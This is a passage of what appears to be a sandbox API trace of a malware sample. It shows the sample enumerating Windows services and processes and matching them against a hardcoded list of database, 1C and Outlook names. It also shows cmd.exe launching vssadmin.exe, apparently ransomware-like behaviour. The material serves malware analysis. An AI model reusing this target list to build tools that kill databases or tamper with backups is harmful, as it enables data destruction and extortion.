(lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.406] lstrlenW (lpString="TrkWks") returned 6 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.406] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.406] lstrlenW (lpString="UxSms") returned 5 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.406] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.406] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.406] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.406] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.406] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.406] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.406] lstrlenW (lpString="Winmgmt") returned 7 [0034.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.407] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.407] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.407] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.407] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x509078 | out: hHeap=0x4b0000) returned 1 [0034.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0034.409] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.410] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.410] lstrlenW (lpString="System") returned 6 [0034.410] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.410] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.410] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.411] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.411] lstrlenW (lpString="smss.exe") returned 8 [0034.411] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.411] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.411] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.412] lstrlenW (lpString="csrss.exe") returned 9 [0034.412] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.412] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.412] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.412] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.412] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.412] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.412] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.412] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.413] lstrlenW (lpString="wininit.exe") returned 11 [0034.413] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.413] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.413] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.413] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.414] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.414] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.414] lstrlenW (lpString="csrss.exe") returned 9 [0034.414] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.414] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.414] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.414] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.414] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.414] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.415] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.415] lstrlenW (lpString="winlogon.exe") returned 12 [0034.415] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.416] lstrlenW (lpString="services.exe") returned 12 [0034.416] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.417] lstrlenW (lpString="lsass.exe") returned 9 [0034.417] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.417] lstrlenW (lpString="lsm.exe") returned 7 [0034.417] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.418] lstrlenW (lpString="svchost.exe") returned 11 [0034.418] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.419] lstrlenW (lpString="svchost.exe") returned 11 [0034.419] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.419] lstrlenW (lpString="svchost.exe") returned 11 [0034.420] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.420] lstrlenW (lpString="svchost.exe") returned 11 [0034.420] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.421] lstrlenW (lpString="svchost.exe") returned 11 [0034.421] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.422] lstrlenW (lpString="audiodg.exe") returned 11 [0034.422] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.422] lstrlenW (lpString="svchost.exe") returned 11 [0034.422] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.423] lstrlenW (lpString="svchost.exe") returned 11 [0034.423] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.424] lstrlenW (lpString="dwm.exe") returned 7 [0034.424] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.424] lstrlenW (lpString="explorer.exe") returned 12 [0034.424] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.425] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.425] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.426] lstrlenW (lpString="taskhost.exe") returned 12 [0034.426] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.427] lstrlenW (lpString="svchost.exe") returned 11 [0034.427] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.427] lstrlenW (lpString="taskeng.exe") returned 11 [0034.428] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.428] lstrlenW (lpString="taskhost.exe") returned 12 [0034.428] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0034.429] lstrlenW (lpString="chem venues.exe") returned 15 [0034.429] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0034.430] lstrlenW (lpString="month.exe") returned 9 [0034.430] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0034.430] lstrlenW (lpString="glasgow.exe") returned 11 [0034.430] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0034.431] lstrlenW (lpString="rubber.exe") returned 10 [0034.431] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0034.432] lstrlenW (lpString="petroleum.exe") returned 13 [0034.432] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0034.433] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0034.433] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0034.433] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0034.433] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0034.899] lstrlenW (lpString="batman_oliver.exe") returned 17 [0034.900] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0034.900] lstrlenW (lpString="formation.exe") returned 13 [0034.900] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0034.901] lstrlenW (lpString="whole.exe") returned 9 [0034.901] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0034.902] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0034.902] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0034.902] lstrlenW (lpString="disorder.exe") returned 12 [0034.902] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0034.903] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0034.903] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0034.904] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0034.904] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0034.904] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0034.904] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0034.905] lstrlenW (lpString="perspective.exe") returned 15 [0034.905] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0034.906] lstrlenW (lpString="demand-site.exe") returned 15 [0034.906] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0034.907] lstrlenW (lpString="attachment.exe") returned 14 [0034.907] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0034.907] lstrlenW (lpString="valid-permit.exe") returned 16 [0034.907] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0034.908] lstrlenW (lpString="knights.exe") returned 11 [0034.908] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0034.909] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0034.909] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0034.909] lstrlenW (lpString="mobsync.exe") returned 11 [0034.909] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.910] lstrlenW (lpString="dllhost.exe") returned 11 [0034.910] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0034.911] lstrlenW (lpString="dllhost.exe") returned 11 [0034.911] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0034.911] lstrlenW (lpString="ohbdap.exe") returned 10 [0034.911] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0034.912] lstrlenW (lpString="cmd.exe") returned 7 [0034.912] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0034.913] lstrlenW (lpString="conhost.exe") returned 11 [0034.913] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0034.914] lstrlenW (lpString="vssadmin.exe") returned 12 [0034.914] Process32NextW (in: hSnapshot=0x1ac, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0034.914] CloseHandle (hObject=0x1ac) returned 1 [0034.914] Sleep 